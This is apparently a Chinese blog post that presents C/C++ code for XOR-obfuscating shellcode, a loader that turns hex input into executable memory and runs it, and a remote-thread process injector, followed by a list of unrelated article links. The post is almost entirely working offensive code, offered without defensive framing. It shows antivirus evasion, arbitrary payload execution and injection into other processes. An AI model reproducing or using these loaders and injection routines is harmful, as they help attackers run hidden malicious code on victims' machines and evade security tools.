异或加密ShellCode:

#include <stdio.h>
#include <Windows.h> unsigned char buf[] = "\xba\xa9\xb0\x07\x68\xdd\xc3\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"; int main(int argc, char* argv[])
{
int password = 1025;
unsigned char enShellCode[500];
unsigned char deShellCode[500];
int nLen = sizeof(buf)-1; for (int i = 0; i<nLen; i++)
{
enShellCode[i] = buf[i] ^ password;
printf("\\x%x", enShellCode[i]);
} printf("\n"); for (int i = 0; i<nLen; i++)
{
deShellCode[i] = enShellCode[i] ^ password;
printf("\\x%x", deShellCode[i]);
} system("pause");
return 0;
}

另一种ShellCode加密方式

#include <stdio.h>
#include <Windows.h> char ShellCode[] = "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"; void encoder(char* input, unsigned char key)
{
int i = 0, len = 0;
FILE * fp;
unsigned char * output;
len = strlen(input);
output = (unsigned char *)malloc(len + 1); for (i = 0; i<len; i++)
output[i] = input[i] ^ key; fp = fopen("shellcode.raw", "w+");
fprintf(fp, "\"");
for (i = 0; i<len; i++)
{
fprintf(fp, "\\x%0.2x", output[i]);
if ((i + 1) % 16 == 0)
fprintf(fp, "\"\n\"");
}
fprintf(fp, "\";");
fclose(fp); // 输出加密后的文件
for (i = 0; i<len; i++)
{
printf("%0.2x ", output[i]);
if ((i + 1) % 16 == 0)
{
printf("\n");
}
}
free(output);
} int main(int argc,char *argv[])
{
encoder(ShellCode, 1233); system("pause");
return 0;
}

ShellCode代码执行盒

#include <stdio.h>
#include <Windows.h> int main(int argc, char *argv[])
{
unsigned int char_in_hex; char *shellcode = argv[1];
unsigned int iterations = strlen(shellcode); unsigned int memory_allocation = strlen(shellcode) / 2; for (unsigned int i = 0; i< iterations - 1; i++)
{
sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
} void *exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, shellcode, memory_allocation);
DWORD ignore;
VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);
(*(void(*)()) exec)(); return 0;
}

ShellCOde 进程注入

#include <stdio.h>
#include <windows.h> unsigned char ShellCode[] = "shellcode代码"; BOOL InjectShellCode(int Pid)
{
HANDLE Handle, remoteThread;
PVOID remoteBuffer; Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid); remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL);
remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(Handle);
} int main(int argc, char *argv[])
{
InjectShellCode(1024);
return 0;
}

C/C++ ShellCode 常用加密方式的更多相关文章

  1. iOS代码加密常用加密方式

    iOS代码加密常用加密方式 iOS代码加密常用加密方式,常见的iOS代码加密常用加密方式算法包括MD5加密.AES加密.BASE64加密,三大算法iOS代码加密是如何进行加密的,且看下文 MD5 iO ...

  2. C# 常用加密方式

    using System;using System.Collections.Generic;using System.Text;using System.Security.Cryptography;u ...

  3. Java中常用的加密方式(附多个工具类)

    一.Java常用加密方式 Base64加密算法(编码方式) MD5加密(消息摘要算法,验证信息完整性) 对称加密算法 非对称加密算法 数字签名算法 数字证书 二.分类按加密算法是否需要key被分为两类 ...

  4. java中常用的加密方式

    加密,是以某种特殊的算法改变原有的信息数据,使得未授权的用户即使获得了已加密的信息,但因不知解密的方法,仍然无法了解信息的内容.大体上分为双向加密和单向加密,而双向加密又分为对称加密和非对称加密(有些 ...

  5. 支付对接常用的加密方式介绍以及java代码实现

    京东科技 姚永健 一.术语表: 1.对称算法 加密解密密钥是相同的.这些算法也叫秘密密钥算法或单密钥算法,它要求发送者和接收者在安全通信之前,商定一个密钥.对称算法的安全性依赖于密钥,泄漏密钥就意味着 ...

  6. iOS开发中常用到的加密方式

    1 base64 1.1 简介 Base64编码的思想是是采用64个基本的ASCII码字符对数据进行重新编码.它将需要编码的数据拆分成字节数组.以3个字节为一组.按顺序排列24位数据,再把这24位数据 ...

  7. iOS常用的加密方式--备用

    MD5 iOS代码加密 创建MD5类,代码如下 #import <Foundation/Foundation.h> @interface CJMD5 : NSObject +(NSStri ...

  8. iOS常用的加密方式

    MD5 iOS代码加密 创建MD5类,代码如下 #import <Foundation/Foundation.h> @interface CJMD5 : NSObject +(NSStri ...

  9. PHP的几个常用加密函数(转载 https://jellybool.com/post/php-encrypt-functions)

    PHP的几个常用加密函数 在网站的开发过程中,常常需要对部分数据(如用户密码)进行加密,本文主要介绍PHP的几个常见的加密函数 MD5加密: string md5 ( string $str [, b ...

  10. iOS开发,让数据更安全的几个加密方式

    任何应用的开发中安全都是重中之重,在信息交互异常活跃的现在,信息加密技术显得尤为重要.在app应用开发中,我们需要对应用中的多项数据进行加密处理,从而来保证应用上线后的安全性,给用户一个安全保障.这篇 ...

随机推荐

  1. 未来,让我们一起想象 — “Imagine” 阿里云视频云全景创新峰会

    视频云赛道是一条极具想象力的赛道,可以变革商业与社会,成为大视频时代底座. 视频云技术是一项极具创新力的技术,可以突破时间与空间,创造一个全新的世界. 7 月 10 日,"Imagine&q ...

  2. LT01 创建转储单

    一.LT01创建转储单 采购订单--MIGO收货--虚拟仓位--LT01上架--实体仓位--LT01下架--虚拟仓位--MIGO发料--生产订单 二.参考代码 "-------------- ...

  3. 涂色游戏Flood-it!(IDA star算法) - HDU 4127

    做题之前,可以先到下面这个网站玩一会游戏: https://unixpapa.com/floodit/?sz=14&nc=6 游戏开发里面,比较常用的一个搜索算法是寻路算法,寻路算法里面用的最 ...

  4. kafka集群三、增加密码验证

    系列导航 一.kafka搭建-单机版 二.kafka搭建-集群搭建 三.kafka集群增加密码验证 四.kafka集群权限增加ACL 五.kafka集群__consumer_offsets副本数修改 ...

  5. <vue 基础知识 7、循环遍历>

    代码结构 一.     01-v-for遍历数组 1.效果 2.代码 01-v-for遍历数组.html <!DOCTYPE html> <html lang="en&qu ...

  6. VuePress搭建博客部署Gitee Pages

    使用技术 VuePress + vuepress-theme-reco VuePress简介 VuePress文档地址 简洁至上:以 Markdown 为中心的项目结构,以最少的配置帮助你专注于写作. ...

  7. 【TouchGFX】实测工程所在路径深度不可超过10级(10级有效)

    实测环境 win10 64bit touchgfx designer 4.13.0

  8. css - 去掉图片下的白边

    造成原因: 图片的 display 属性默认是 inline ,而这个属性的 vertical-align 的默认值是baseline. 解决办法1( 建议使用block ,  对 ie浏览器 比较友 ...

  9. [转帖]@Scope("prototype")的正确用法——解决Bean的多例问题

    https://www.jianshu.com/p/54b0711a8ec8 1. 问题,Spring管理的某个Bean需要使用多例   在使用了Spring的web工程中,除非特殊情况,我们都会选择 ...

  10. Sonarqube 二进制的安装与简单使用

    Sonarqube 二进制的安装与简单使用 背景 使用容器安装 sonarqube 发现无法使用PG数据库 尝试了很长时间没搞定 想了想还是使用 二进制的方式进行部署吧. 下载 https://bin ...